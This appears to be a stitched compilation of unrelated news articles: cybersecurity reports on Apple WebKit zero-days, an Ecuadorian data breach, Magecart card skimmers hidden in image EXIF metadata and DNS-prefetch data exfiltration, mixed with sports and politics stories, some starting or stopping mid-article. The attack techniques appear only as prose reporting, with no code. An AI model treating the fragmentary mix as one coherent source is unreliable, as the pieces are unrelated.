A deeper dive into Cobalt Strike's capabilities and deployment tools. The webinar will also dive deeper into Cobalt Strike's different functionalities, how they're deployed, and what they actually do.
How organizations can defend against Cobalt Strike. Finally, the webinar will touch on the ways organizations can detect and defend against Cobalt Strike, and how they can mitigate the impact of a successful initial infiltration.
You can register here for the webinar.
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Internet of Things (IoT) with the purpose of providing convenience to the users enabled every object in the universe to be as smart as a whip.
By assigning IP address to all sorts of devices, ranging from household appliances, machines, medical devices and sensors to other day-to-day objects, and putting them all together on a standardised network is a common Internet of Things (IoT) practice.
Is Internet of Things Secure?
In my previous articles, I gave you a glance of the most vulnerable smart cities that are increasingly adopting devices connected to the Internet in an attempt to add convenience and ease to daily activities.
By 2020, there will be more than 45 Billion Internet-connected devices that will transform the way we live and work.
The bottom line:
As the number of IoT enabled systems increases, the complexity of handling them increases; leading to an introduction of new risk and vulnerabilities associated with them.
Security of Internet of Things (IoT) Can't Be Ignored
The risks can be mitigated by more robust authentication methods at the time when the 'Internet-connected devices' initiate communication with each other, hence developing secure identification management.
For secure communication among the IoT devices, many security mechanisms and protocols have been implemented, including:
Public Key Infrastructure (PKI) system for securing communications between the Internet-connected devices.
Secure Socket Layer (SSL) protocol implementation for IoTs to encrypt their communication over the network.
As it is evident, Security solutions for embedded devices connected to the Internet is also necessary. The devices also need to be secured from attacks like eavesdropping, DDoS and tampering of network traffic.
SSL Encryption for Internet of Things (IoT)
For SSL/TLS implementation in IoT devices, INSIDE Secure has introduced a new open source embedded SSL called MatrixSSL Tiny as an extension to MatrixSSL - a source for web servers to implement encryption layer for secure management of remote devices.
MatrixSSL Tiny is going to be demonstrated this week at Black Hat conference in Las Vegas, where the security researchers will be representing its full suite of security products and will talk about its solution for cyber attacks focussed at IoT.
MatrixSSL Tiny is a lightweight TLS software implementation for IoT devices with limited memory to make secure communications among them, yet demand more robust security to prevent eavesdropping and tampering of network traffic.
The software also performs real time functions that nulls the memory on completion of a particular session. According to researchers, MatrixSSL Tiny is the world's smallest, yet powerful IoT security solution.
Why SSL is Not Sufficient?
Despite developments for enhancing the security, IoT infrastructure is still massively prone to cyber attacks that lead to offer open gateways for people with malicious intents.
Any command initiated on a smart device, be it an application or a firmware, must be verified through a chain of trust.
If we consider a situation, where communication is taking place on a traditional IT system and an IoT smart device, we see that IT systems follow a layered security procedure; whereas in IoT smart devices authenticity and confidentiality can be tampered with.
Therefore, multi-layer security measures are needed for IoT devices too so that the IoT devices could differentiate that the information received or sent is by an authorized user or an intruder.
To sum up, I would say…
The security of IoT enabled devices are becoming critical and a thing of concern for the security enablers. The point to be worried about is its future developments where, it is seen as a boon and not a bane.
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Story highlightsRonaldo and Gonzalo Higuain score twice as Real maintain grip on La Liga leadBarcelona defeat Athletic Bilbao to 2-0 to stay six points behind in second place AC Milan held to a 1-1 draw at Catania in Serie A; Second-place Juventus play Napoli on SundayReal Madrid took another decisive step towards their first La Liga title in four seasons with a thumping 5-1 win at Osasuna on Saturday. Karim Benzema got Jose Mourinho's side off the mark with a sweetly struck volley in the seventh minute before Cristiano Ronaldo scored his first of the night in the 37th minute. Three minutes later the game was effectively over as Argentine striker Gonzalo Higuain made it 3-0. Osasuna briefly rallied after the break as Juan Francisco 'Nino' headed home to give the home fans some hope.But any chances of a comeback were snuffed out 20 minutes later when Ronaldo added a fourth (his 37th of the league campaign) with Higuain claimed his second in the 77th minute to complete the rout. Osasuna substitute Roland Lamah was sent off for a second bookable offence late in the game to compound the misery for the home supporters. Barcelona remain six points behind in second place after a 2-0 win over Athletic Bilbao at the Nou Camp.Andres Iniesta put Barca in front five minutes before halftime blasting the ball into the roof of the net after receiving a pass from Lionel Messi.And the Argentine was on hand to score from the penalty spot in the 58th minute after Cristian Tello was brought down by Javi Martinez. Real Zaragoza and Sporting Gijon swap places at the foot of the table after Zaragoza edged to a 2-1 win at the Estadio El Molinon. Granada earned a vital 1-0 win against fellow strugglers Racing Santander to stave off relegation worries. Meanwhile in Serie A, leaders AC Milan dropped points on the road as they were held to a 1-1 draw by Catania on Saturday.Brazilian Robinho gave the reigning champions the lead in the 34th minute but had to settle for a point after Nicolas Spolli equalized in the 57th minute of the second half. Second-placed Juventus can move to within two points of Milan if they beat Napoli on Sunday. In Saturday's other fixture, third-place Lazio suffered a 3-1 defeat to Parma at the Ennio Tardini Stadium.
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Apple on Monday released security updates for iOS, macOS, and watchOS to address three zero-day flaws and expand patches for a fourth vulnerability that the company said might have been exploited in the wild.
The weaknesses all concern WebKit, the browser engine which powers Safari and other third-party web browsers in iOS, allowing an adversary to execute arbitrary code on target devices. A summary of the three security bugs are as follows -
CVE-2021-30663: An integer overflow vulnerability that could be exploited to craft malicious web content, which may lead to code execution. The flaw was addressed with improved input validation.
CVE-2021-30665: A memory corruption issue that could be exploited to craft malicious web content, which may lead to code execution. The flaw was addressed with improved state management.
CVE-2021-30666: A buffer overflow vulnerability that could be exploited to craft malicious web content, which may lead to code execution. The flaw was addressed with improved memory handling.
The development comes a week after Apple rolled out iOS 14.5 and macOS Big Sur 11.3 with a fix for a potentially exploited WebKit Storage vulnerability. Tracked as CVE-2021-30661, the use-after-free issue was discovered and reported to the iPhone maker by a security researcher named yangkang (@dnpushme) of Qihoo 360 ATA.
yangkang, along with zerokeeper and bianliang, have been credited with reporting the three new flaws.
It's worth noting that CVE-2021-30666 only affects older Apple devices such as iPhone 5s, iPhone 6, iPhone 6 Plus, iPad Air, iPad mini 2, iPad mini 3, and iPod touch (6th generation). The iOS 12.5.3 update, which remediates this flaw, also includes a fix for CVE-2021-30661.
The company said it's aware of reports that the issues "may have been actively exploited" but, as is typically the case, failed to elaborate about the nature of attacks, the victims that may have been targeted, or the threat actors that may be abusing them.
Users of Apple devices are recommended to update to the latest versions to mitigate the risk associated with the flaws.
Update: Apple has also released a new version of Safari 14.1 for macOS Catalina and macOS Mojave, with the update introducing fixes for the two WebKit flaws CVE-2021-30663 and CVE-2021-30665. The update comes a day after patches were shipped for iOS, macOS, and watchOS.
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Ecuador officials have arrested the general manager of IT consulting firm Novaestrat after the personal details of almost the entire population of the Republic of Ecuador left exposed online in what seems to be the most significant data breach in the country's history.
Personal records of more than 20 million adults and children, both dead and alive, were found publicly exposed on an unsecured Elasticsearch server by security firm vpnMentor, which made the discovery during its large-scale mapping project.
For a country with a population of over 16 million people, the breach exposed details of almost every Ecuadorian citizen, including President Lenín Moreno as well as WikiLeaks CEO Julian Assange, who was given political asylum in the country in 2012.
The unsecured Elasticsearch server, which was based in Miami and owned by Ecuadorian company Novaestrat, contained 18GB cache of data appeared to have come from a variety of sources including government registries, an automotive association called Aeade, and an Ecuadorian national bank called Biess.
Data Breach Exposes Personal Data of Almost Entire Ecuador Population
The cache reportedly contained everything from full names, gender, dates and places of birth, phone numbers and addresses, to marital statuses, national identification numbers (similar to social security numbers), employment information, and details of education.
The cache also contained specific financial information related information to accounts held with the Ecuadorian national bank Biess, including person's bank account statuses, current balances and credit type, along with detailed information about individuals' family members.
vpnMentor notified the Ecuadorian Computer Incident Response Center (EcuCERT) of the breach, who then immediately informed Novaestrat, the online data consulting firm in the city of Esmeraldas who owned the unsecured server, which was later taken offline on September 11.
Authorities Investigating Company Allegedly Responsible for the Leak
As part of the investigation, Ecuadorian officials also said in a statement on Tuesday that they had arrested the manager of Novaestrat identified as William Roberto G and seized electronic equipment, computers, storage devices, and documentation during a raid at his home.
Roberto has been taken to the Ecuadorian capital, Quito, by the authorities for questioning and may face criminal charges.
Also, given the privacy concerns surrounding the incident, the country's Minister of Telecommunications said legal actions would be taken against the affected institutions to sanction private companies responsible for violating privacy and publicizing personal information without authorization.
The Minister of Telecommunications also said it is planning to pass a new data privacy law in the country, which they have been working for the past eight months, to protect the personal data of its citizens.
This is not the first time when the country has suffered a significant data security breach.
In 2016, hackers managed to steal $12 million from an Ecuadorian bank, Banco del Austro (BDA), by breaching its Swift payment system.
However, the latest Ecuador's breach recalled Bulgaria history's biggest data breach that took place on July 2019 and exposed personal and financial information of 5 million adult Bulgarian citizens out of its total population of 7 million people—that's over 70% of the country's population.
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In what's one of the most innovative hacking campaigns, cybercrime gangs are now hiding malicious code implants in the metadata of image files to covertly steal payment card information entered by visitors on the hacked websites.
"We found skimming code hidden within the metadata of an image file (a form of steganography) and surreptitiously loaded by compromised online stores," Malwarebytes researchers said last week.
"This scheme would not be complete without yet another interesting variation to exfiltrate stolen credit card data. Once again, criminals used the disguise of an image file to collect their loot."
The evolving tactic of the operation, widely known as web skimming or a Magecart attack, comes as bad actors are finding different ways to inject JavaScript scripts, including misconfigured AWS S3 data storage buckets and exploiting content security policy to transmit data to a Google Analytics account under their control.
Using Steganography to Hide Skimmer Code in EXIF
Banking on the growing trend of online shopping, these attacks typically work by inserting malicious code into a compromised site, which surreptitiously harvests and sends user-entered data to a cybercriminal's server, thus giving them access to shoppers' payment information.
In this week-old campaign, the cybersecurity firm found that the skimmer was not only discovered on an online store running the WooCommerce WordPress plugin but was contained in the EXIF (short for Exchangeable Image File Format) metadata for a suspicious domain's (cddn.site) favicon image.
Every image comes embedded with information about the image itself, such as the camera manufacturer and model, date and time the photo was taken, the location, resolution, and camera settings, among other details.
Using this EXIF data, the hackers executed a piece of JavaScript that was concealed in the "Copyright" field of the favicon image.
"As with other skimmers, this one also grabs the content of the input fields where online shoppers are entering their name, billing address, and credit card details," the researchers said.
Aside from encoding the captured information using the Base64 format and reversing the output string, the stolen data is transmitted in the form of an image file to conceal the exfiltration process.
Stating the operation might be the handiwork of Magecart Group 9, Malwarebytes added the JavaScript code for the skimmer is obfuscated using the WiseLoop PHP JS Obfuscator library.
This is not the first time Magecart groups have used images as attack vectors to compromise e-commerce websites. Back in May, several hacked websites were observed loading a malicious favicon on their checkout pages and subsequently replacing the legitimate online payment forms with a fraudulent substitute that stole user card details.
Abusing DNS Protocol to Exfiltrate Data from the Browser
But data-stealing attacks don't have to be necessarily confined to malicious skimmer code.
In a separate technique demonstrated by Jessie Li, it's possible to pilfer data from the browser by leveraging dns-prefetch, a latency-reducing method used to resolve DNS lookups on cross-origin domains before resources (e.g., files, links) are requested.
Called "browsertunnel," the open-source software consists of a server that decodes messages sent by the tool, and a client-side JavaScript library to encode and transmit the messages.
The messages themselves are arbitrary strings encoded in a subdomain of the top domain being resolved by the browser. The tool then listens for DNS queries, collecting incoming messages, and decoding them to extract the relevant data.
Put differently, 'browsertunnel' can be used to amass sensitive information as users carry out specific actions on a webpage and subsequently exfiltrate them to a server by disguising it as DNS traffic.
"DNS traffic does not appear in the browser's debugging tools, is not blocked by a page's Content Security Policy (CSP), and is often not inspected by corporate firewalls or proxies, making it an ideal medium for smuggling data in constrained scenarios," Li said.
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Story highlights Berlusconi's coalition partner has agreed to pension reforms, media reports say The agreement averts a potential collapse of the Italian governmentBerlusconi will attend a summit of European leaders in Brussels WednesdayItaly's high debt and low growth have sparked concernsItalian Prime Minister Silvio Berlusconi's government averted a potential crisis over economic reforms after reaching a deal Tuesday with its main coalition partner, Italian media reports said.Ministers had warned the government could collapse after the Northern League rejected Berlusconi's pension reform proposals, which would raise the retirement age by two years to 67.European leaders have pressed Italy, which is among a handful of European nations at the center of a debt crisis, to agree to reforms before heads of government from all 27 members of the European Union meet Wednesday in Brussels. European leaders say they're making progress, but how much?Northern League leader and minister for reform Umberto Bossi told Italian media late Tuesday that his party had reached a deal on the reforms, although he remained pessimistic, he said.Bossi had earlier told reporters the government was dangerously close to a collapse. "It's a dramatic moment. That is how I would describe it," he said.Asked why his party opposed Berlusconi's proposals, he replied: "'We cannot raise the pension age to 67. They would kill themselves."Infrastructure Minister Altero Matteoli also said there was a danger Berlusconi's center-right government could fall, in comments broadcast by Italian media.President Giorgio Napolitano called for the reforms to be delivered Tuesday, ahead of Wednesday's summit, in a communique from the presidential palace.Berlusconi, who will go to Brussels Wednesday, is expected to issue a letter later outlining his government's plans for economic reform to stimulate growth, as requested by the EU and European Central Bank .JUST WATCHEDLeaders to meet on eurozone debt crisisReplayMore Videos ...MUST WATCHLeaders to meet on eurozone debt crisis 01:43The latest meeting of leaders follows a summit at the weekend at which France's Nicolas Sarkozy and Germany's Angela Merkel accused Berlusconi of doing too little to cut spending and boost Italy's sluggish economy.EU politicians said Tuesday they are making progress on a comprehensive plan to tackle the eurozone's debt and banking crisis.They have promised to deliver an ambitious and durable solution to a crisis that poses the biggest threat to the euro since the common currency was launched over a decade ago, but the details have not yet been spelled out.The latest talks have focused on a three challenges: restructuring the Greek government's crushing debt load, strengthening European banks and boosting the effectiveness of a limited rescue fund.Italy, the 17-nation eurozone's third largest economy, has one of the largest bond markets in the world, worth an estimated 2 trillion euros (about US$2.8 trillion).And while Italy is in much better shape than Greece, the Italian economy has been ailing for years and the nation has debts equal to about 150% of its economic output.It passed a package of austerity measures last month, including tax increases, but some economists fear that without further reforms its debts could become overwhelming -- and there would not be enough money in the European rescue fund to bail it out.Many Italian newspapers ran editorials Tuesday describing this as one of Berlusconi's worst political crises since he took office in May 2008.The prime minister won a vote of confidence in the lower house of parliament by a slim 15-vote margin earlier this month. It was prompted by unhappiness over his handling of the economy and a series of personal scandals.
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Story highlightsEuropean Champions League draw made in MonacoEPL champions Manchester City drawn in same group as Real MadridBorussia Dortmund and Ajax also in tough looking Group DTitle holders Chelsea in same group as Serie A champions JuventusSpanish champions Real Madrid were paired with their English counterparts Manchester City as the draw for the European Champions League was made Thursday in Monaco.The heavyweight pair will also have Borussia Dortmund and four-time winners Ajax Amsterdam for company in Group D, with only the top two going through to the last 16 knockout stages.Roberto Mancini's City were knocked out in the group stages of last season's competition, won by fellow English Premier League side Chelsea, while Real Madrid fell at the semifinal stage to Bayern Munich.The "Group of Death" contains all champions of their respective leagues with Dortmund claiming the Bundesliga title for the second straight year and Ajax winning the Dutch crown.Chelsea have Serie A winners Juventus for company in Group E, along with Shakhtar Donetsk of the Ukraine and Danish new boys Nordsjaelland.Chelsea, who beat Bayern on penalties in last season's final, would be the first team to defend the title in the Champions League era.Barcelona, beaten so dramatically by Chelsea in last year's semifinals, have Benfica of Portugal, Russia's Spartak Moscow and Scottish champions Celtic in Group G.Three-time champions Manchester United were drawn in Group H with Portugal's SC Braga, Galatasaray of Turkey and Romanians CFR-Cluj.Like their city rivals, United fell at the group stages in last year's competition after losing at FC Basel and will be keen to avoid a similar fate.Bayern, still smarting at their defeat to Chelsea in their own Allianz Arena back in May's final, have Spain's Valencia, Lille of France and BATE Borisov of Belarus in Group F.Seven-time winners AC Milan, who have lost several key players in the transfer window, were joined by Zenit St. Petersburg of Russia, Belgium's Anderlecht and Malaga of Spain, who are making their debut in the Champions League.New French champions Montpellier are also appearing for the first time and having sold star striker Olivier Giroud to Arsenal will face the Gunners in Group B.Bundesliga Schalke and Olympiakos of Greece complete the section.Big spending Paris St Germain were pitted in Group A with Dinamo Kyiv of the Ukraine, Portuguese giants Porto and Dinamo Zagreb of Croatia. All the teams will be bidding to make the final of this year's competition which takes place on May 25 at Wembley Stadium in London.
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Story highlightsHonda's Dani Pedrosa wins Czech MotoGP in BrnoPedrosa cuts lead on title leader Jorge Lorenzo to 13 pointsYamaha's Lorenzo finished second after last lap duelCal Crutchlow of Britain on podium for first timeDani Pedrosa won a thrilling last-lap duel with championship leader and fellow Spaniard Jorge Lorenzo to claim Sunday's Czech MotoGP in Brno.Pedrosa and 2010 world champion Lorenzo swapped the lead on the 22nd lap of the 5.4-kilometer circuit before the Honda rider claimed a memorable third win of the season.He has cut Lorenzo's lead in the title race to just 13 points with six races left in the elite division of motorcycle racing.Yamaha's Lorenzo had led from pole until Pedrosa took the lead halfway through the race. Lorenzo claimed it back only for Pedrosa to move ahead for the final time and take the checkered flag."It was half a lap to go and I was a little more nervous than before but... on almost the last corner I got along with him, he tried to release the brakes and we were head-to-head into the corner, but I could... win the race," he told the official MotoGP website.Britain's Cal Crutchlow claimed the first podium spot of his MotoGP career on his works Yamaha ahead of Italian teammate Andrea Dovizioso, who will replace Valentino Rossi at Ducati next season.But they were over 12 seconds behind the leading pair, who dominated from the start.Last year's Brno winner, world champion Casey Stoner of Australia, was absent with a fractured ankle and has conceded his title defense is over as he needs surgery. Stoner will retire at the end of the season and his Repsol Honda team has announced he will be replaced by 19-year-old Spanish prospect Marc Marquez, who will move up from the Moto2 division having been the 125cc world champion in 2010.Marquez won the Moto2 race in Brno, with Germany's Jonas Folger taking the Moto3 honors.
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Apple's new iOS 10 recently made headlines after MIT Technology Review revealed that the company had left the kernel of the mobile operating system unencrypted.
Yes, the first developer preview of iOS 10 released at WWDC has an unencrypted kernel.
When the headline broke, some of the users were surprised enough that they assumed Apple had made a mistake by leaving unencrypted kernel in iOS 10, and therefore, would get reverted in the next beta version of the operating system.
However, Apple managed to confirm everyone that the company left the iOS 10 kernel unencrypted intentionally, as the kernel cache does not contain any critical or private information of users.
On iOS, the kernel is responsible for things like security and how applications are capable of accessing the parts of an iPhone or an iPad.
But, Why Apple had left the iOS wide open when other features like iMessage offer end-to-end encryption?
Apple did this on purpose, because by leaving the iOS 10 kernel unencrypted, the company was "able to optimize the operating system's performance without compromising security," an Apple spokesperson told TechCrunch.
The kernel is the heart of any operating system. Apple has always kept the kernel under several layers of protection in previous versions of iOS, leaving developers as well as researchers in the dark.
So, the unencrypted kernel could help developers and security researchers look more closely at its code and find security flaws. After all, if more eyes are looking for flaws, it would be easier to discover and patch the issues more quickly than before.
MIT Technology Review also pointed out that this could prevent government and law enforcement agencies from exploiting vulnerabilities to crack locked iOS devices, like what the FBI did to hack into the San Bernardino shooter's iPhone.
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Story highlightsWarrior's on pace to break Chicago Bulls' 72-win recordStephen Curry has already shattered 3-point recordCurry shooting better from 30 feet than normal 3-point distanceSan Antonio can still challenge for title, says Steve Smith (CNN)As the Golden State Warriors plow through their history-making season, superstar point guard Stephen Curry is having the time of his life -- and there's nothing wrong with that, says CNN's lead NBA analyst Steve Smith. "It is business, and he's making it look fun," says Smith, who earned a championship ring with the 2003 San Antonio Spurs and played against the 1996 Chicago Bulls, whose 72-10 record Golden State is chasing.Follow @cnnsport
"In the old school days, everything was about business, where you had to have this stern look and this focus. You can't say (Curry) is not focused because of the numbers he's putting up, and his team is winning," adds Smith, who calls Curry the greatest shooter in NBA history. "He plays the game with a smile, and a lot of unorthodox shots. He's taking shots at half court and making it look easy."What he's doing right now is more entertainment than basketball."Read MoreSmith isn't kidding. Curry has recently taken to spinning around after shooting three-pointers, gauging whether the shot has dropped in by the reaction of the crowd (46% of the time, it does). It's a borderline-cocky move reminiscent of vintage Larry Bird. @stephencurry30 ignites Oracle. #SlateNight on @csnauthentic. A video posted by Golden State Warriors (@warriors) on Mar 12, 2016 at 9:30pm PST
But the great 1986 Boston Celtics team, which went 40-1 at home on the way to winning a championship, never had this much fun. In fact, no championship-contending squad in memory has exuded this much playfulness (the 1985 Showtime-era Lakers were close, but featured brooding Kareem Abdul-Jabbar as Finals MVP.)Part of the reason why Curry has enjoyed this much success beyond the arc is because of the way the game has changed, says Smith, a former All-Star known for his defensive prowess. "In our day you could hand check; I could grab him, I could foul him hard, and all that I would get was a personal foul. Now...you would probably be ejected from the game," he says."There is a misconception that old legends are criticizing Stephen Curry's game. I don't think that's it," Smith says about recent statements made by Oscar Robertson and Isiah Thomas. "Most of the legends are talking about the defenses, the way it's played, the rules have changed a lot. They are basically saying, in our era, we would not have allowed this to happen. No one is saying Stephen Curry is not a great player."On the contrary, says Smith: "He became the best player in the NBA last season, and this season I think he'll win MVP as well."JUST WATCHEDNBA great Steve Smith on Warriors' history chaseReplayMore Videos ...MUST WATCHNBA great Steve Smith on Warriors' history chase 05:24But would this season's Warriors beat Michael Jordan's record-breaking Bulls? It's a question that's been asked countless times this season. "If the Golden State Warriors were playing in that era, it would be much harder," says the 6-foot 8-inch former guard tasked with stopping Michael Jordan. "I give the advantage to the (1996) Chicago Bulls. But the Bulls playing Golden State in this era? It would go down to a Game 7 series, down to the last shot -- either between Michael or Stephen Curry." Smith points out that Curry has worked tirelessly on his game since he entered the league. Curry's practice routine is the stuff of legend (once this season he made 77 three-pointers in a row, according to Sports Illustrated), but it's his dramatic improvement in ball-handling that has been the difference-maker. On this date in 1985, Larry Bird dropped 60 points against the Hawks. It's still a Celtics record. [Credit: Scott Maguire/AP Photo/1992] A photo posted by espn (@espn) on Mar 12, 2016 at 7:52am PST
"He's worked on his ball handling so much, he's able to create a lot of separation," says Smith. "He's a phenomenal worker. "He came into the game as a great shooter, now he's an elite shooter. He came into the league as a great ball handler, now he's elite. You start to look at the work ethic; he's making everything to perfection almost." Watching Curry play is one thing, marveling at his stats is another. Smith notes that the former Davidson College standout set the league record for made three-pointers with 286 last season, and has already made 325 this season with 16 games remaining before the playoffs. The only other person with more than 200 threes is teammate Klay Thompson. Curry leads the NBA in scoring with 30.5 per game, while shooting a blistering 48% from a distance of 30 feet or more. Curry's success in shooting from more than six feet away from the three-point arc could be down to the fact he isn't tightly guarded from that range. After all, no other player has ever taken shots from that distance with regularity."Half his shots from an unbelievable distance are basically going in," Smith marvels. "We've had guys put up astronomical numbers, but their teams weren't winning. He's doing both right now." If the Warriors are to face a challenge on the way to back-to-back titles, Smith thinks it will come from the Spurs, led by his former coach Gregg Popovich and teammate Tim Duncan, as well as rising superstar Kawhi Leonard. The @warriors defeat the @orlandomagic 119-113 on @stephencurry30's 41p & 13r! #phantomcam A video posted by NBA (@nba) on Mar 7, 2016 at 10:04pm PST
"This (San Antonio) team matches up pretty well against the Golden State Warriors," says Smith, who also happens to have teamed with Warriors' coach Steve Kerr on the 2003 Spurs. "They haven't lost a game at home either."In case the cross-references aren't dizzying enough, Kerr was, of course, also a member of the 1996 Bulls. Back then Jordan was so serious about making history that he and Kerr engaged in a now-legendary bust-up during practice -- a notion that seems far-fetched on this tight-knit Warriors team. So what does Kerr think of the Warriors' hypothetical matchup against the reigning greatest team ever? "The only thing I know for sure is I had no chance to guard Steph," Kerr told ESPN early in the season. "So I would say, we would probably have had to put a combination of Scottie (Pippen) and Harp (Ron Harper) on Steph." (Harper, for the record, has said his Bulls would have swept this Warriors team.) Back to the here and now, Smith says the Warriors are likely to complete their mission to become one of the greatest teams in NBA history: "I say they get the record, and I also say they win the championship."For Curry and the Warriors to still be smiling in June, it will all come down to execution, as Kerr might say. Photos: Basketball's big bucksLeBron James and Kevin Love are smiling all the way to the bank, as two of the highest-paid players in the NBA this season. The NBA boasts the highest average salary of any team sport in the world, at $4.7 million. Here are the top 20 earners in the league, ranked in ascending order (source: basketball-reference.com). **Note: Anthony Davis, who is not yet in the top 20, has the largest guaranteed contract at $126.6 million for six years. Hide Caption 1 of 21 Photos: Basketball's big bucksNo. 20: Kawhi Leonard, $16.5 million – Leonard was named MVP of the 2014 finals for the San Antonio Spurs when he was tasked with guarding LeBron James, while averaging 17.8 points on 11-19 3-point shooting. Still only 24, Leonard will anchor the Spurs long after the "Big Three" of Tim Duncan, Tony Parker and Manu Ginobili have retired. Hide Caption 2 of 21 Photos: Basketball's big bucksNo. 19: Russell Westbrook, $16.7 million – Without injured running mate Kevin Durant, Westbrook was only a game away from single-handedly willing Oklahoma City to the 2014-15 playoffs after a stellar season featuring 11 triple-doubles. A leading MVP candidate for 2016, Westbrook's contract escalates to $17.8 million next season, his last under contract. Look for him to benefit from a new collective bargaining agreement in 2017. Hide Caption 3 of 21 Photos: Basketball's big bucksNo. 18: Paul George, $17.1 million – The versatile Indiana Pacers small forward (#24) was a budding superstar until breaking his leg before last season. He came back to play six games but it was too early to tell whether George will live up to the $55 million the Pacers guaranteed him after his breakout 2014 campaign (21.7 ppg, 6.8 rpg). Hide Caption 4 of 21 Photos: Basketball's big bucksNo. 17: Blake Griffin, $18.9 million – For all his skills and physical prowess, Griffin shies away from the big shot in the fourth quarter, which is partially what doomed the Clippers in the playoffs last year. But as long as he is a Clipper, a spectacular dunk is just a moment away, keeping the Hollywood glitterati packing the Staples Center. Hide Caption 5 of 21 Photos: Basketball's big bucksNo. 16: Paul Millsap, $19 million – Without averaging more than 18 points or nine rebounds in any season, Millsap (#4 of the Atlanta Hawks) is the least-known player in the top 20. But he was a leader for the 60-win Hawks, who were intent on keeping the team intact; hence, the $60 million, three-year deal for the 30-year-old power forward. Hide Caption 6 of 21 Photos: Basketball's big bucksNo. 15: Kevin Love, $19.5 million – Love was always going to get paid, the question was -- who was going to write the checks? After an an up-and-down first season in Cleveland capped by a separated shoulder that kept him out the Cavs' playoffs run, speculators had Love bolting to his native West Coast. But the sharp-shooting power forward wisely committed to Cleveland and, more importantly, teaming with LeBron James for five years and $113 million in total. Hide Caption 7 of 21 Photos: Basketball's big bucksNo.14: DeAndre Jordan $19.5 million – The second Clipper on the list, Jordan is a beast under the basket, but is plagued by terrible foul shooting (39.7% last season) that kept him out of big chunks of fourth quarters, especially in the playoffs. In a league favoring small-ball, the standoff between Dallas and LA to sign Jordan was a curious one. After committing to Dallas in July and then changing his mind, the center signed with the Clippers for $88 million over four seasons. Hide Caption 8 of 21 Photos: Basketball's big bucksNo. 13: LaMarcus Aldridge $19.5 million – After nine seasons with Portland, the four-time All-Star power forward brings his 23.4 points and 10.2 rebounds per game to San Antonio, who ponied up for an $80 million deal to 2019. Hide Caption 9 of 21 Photos: Basketball's big bucksNo. 12: Marc Gasol $19.7 million – Like Kevin Love, Gasol was one of the most coveted free agents during the offseason, but opted to remain with his team. The Spaniard -- whose time in Memphis stretches back to high school when he accompanied his older brother Pau to the U.S. -- re-signed for five years and $110 million. With those kind of numbers, the Grizz are hoping for championship payback. Hide Caption 10 of 21 Photos: Basketball's big bucksNo. 11: Brook Lopez, $20 million – Lopez (#11 of the Brooklyn Nets) came off an average season for a starting center (17.2 ppg, 7.4 rpg) but the big-spending Nets re-signed him to a three-year, $63 million contract. The 7-foot Lopez also sat out half of the last four seasons with injuries. Sometimes it pays to be tall, literally. Hide Caption 11 of 21 Photos: Basketball's big bucksNo.10: Dwyane Wade, $20 million – The NBA has a culture of paying for past performance. Entering his 13th season, the 33-year-old Wade hasn't played in 70 regular season games since 2011. When healthy, however, he's still one of the best guards in the league, averaging 24.3 points, 5.5 assists and 1.3 steals in 2015. He was signed to a one-year, $20 million deal by Miami in the offseason. Hide Caption 12 of 21 Photos: Basketball's big bucksNo. 9: Derrick Rose, $20.1 million – Rose signed a $94 million extension with the Bulls halfway through his 2011 MVP campaign. Unfortunately, due to a variety of injuries, he's only played in 61 regular-season games in the three years since then. Because of situations like this, NBA owners will be pushing for non-guaranteed contracts in the next collective bargaining agreement, set to be in place by 2017.Hide Caption 13 of 21 Photos: Basketball's big bucksNo. 8 Kevin Durant, $20.2 million – Durant was an MVP two seasons ago, then promptly had foot surgery to rule him out of most of last season (sound familiar?). He's on the last year of his Oklahoma contract, so has plenty of incentive to impress on the court. Hide Caption 14 of 21 Photos: Basketball's big bucksNo. 7 Chris Paul, $21.5 million – The third Clipper in the top 20, Paul is the undisputed leader of the perennial playoff team. He has three more seasons under an escalating contract, with an option to terminate his 2018 salary of $24.3 million and test the open market at age 33. Hide Caption 15 of 21 Photos: Basketball's big bucksNo. 6 Chris Bosh, $22.2 million – The Miami Heat's starting center on the 2012 and 2013 NBA championship runs was diagnosed with career-threatening blood clots in his lungs that sat him out for the entire second half of last season. Thankfully, Bosh made a full recovery -- but had he been forced to retire, the Heat would have been on the hook for the remaining $98 million on his contract. Hide Caption 16 of 21 Photos: Basketball's big bucksNo. 5 Dwight Howard, $22.6 million – Once thought of as a franchise player, Howard sat out half of last season with knee problems, having previously had back surgery. Worrying trends for the Rockets, who are on the hook for $45.6 million if "Superman" decides to come back to Houston next season. Sadly, like DeAndre Jordan, his Kryptonite is free-throw shooting (career 57.3%). Hide Caption 17 of 21 Photos: Basketball's big bucksNo. 4: Carmelo Anthony, $22.9 million – 'Melo missed half of the 2014-15 campaign with left knee surgery, which gave him a front-row seat to watch the Knicks sink to their worst season in franchise history. Since signing with the Knicks in 2011 for three years and $65 million, the team has won one playoff series. Anthony recently re-signed for three years and a guaranteed $73 million, with a team option for a fourth year at $28 million. Hide Caption 18 of 21 Photos: Basketball's big bucksNo. 3: LeBron James, $22.98 million – It's tough to argue that anyone making $23 million is underpaid -- except when it comes to James. The self-anointed best basketball player in the world (agreed on by nearly everyone) was worth $162 million to the economy of Northeast Ohio when he returned from Miami last year, as forecast by LeRoy Brooks of John Carroll University. He is set to make another $24 million next season, his last under contract before the new collective bargaining agreement kicks in. Cavs owner Dan Gilbert's negotiating skills will be put to the test in 2017. Hide Caption 19 of 21 Photos: Basketball's big bucksNo. 2: Joe Johnson $24.9 million – Johnson was thought as of as a potential NBA superstar when Atlanta signed him to a six-year, $123.7 million deal in 2010, coming off a 21.3-point, 4.9-assist, 4.6-rebound season. Unfortunately, that was his peak. At least Johnson has stayed healthy and productive for the Nets, who picked up his crippling contract in 2012, though last season's 14.4 points, 3.7 assists and 4.8 rebounds was nothing to write home about. Hide Caption 20 of 21 Photos: Basketball's big bucksNo. 1: Kobe Bryant, $25 million – The 17-time All-Star and five-time NBA champion is not only top of this list, but after this season (which he says will be his last) he will have accumulated the most salary money in NBA history at $303.24 million. Only Bryant and his rival/mentor Michael Jordan have ever notched paychecks of over $30 million in a season (Jordan received $33.14 million in 1998 and $30.14 million in 1997 -- but received only $90.24 million for his career).Hide Caption 21 of 21
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Story highlightsRyding first skied on dry slopesHas enjoyed recent breakthroughWon World Cup silver medal in KitzbuhelHarbors hopes of an Olympic medal (CNN)In skiing terms, Dave Ryding is something of an anomaly.While most pros were raised in Alpine countries, or Scandinavia or North America, Britain's Ryding first found his skiing legs on a dry, plastic slope in northwest England.Follow @cnnsport
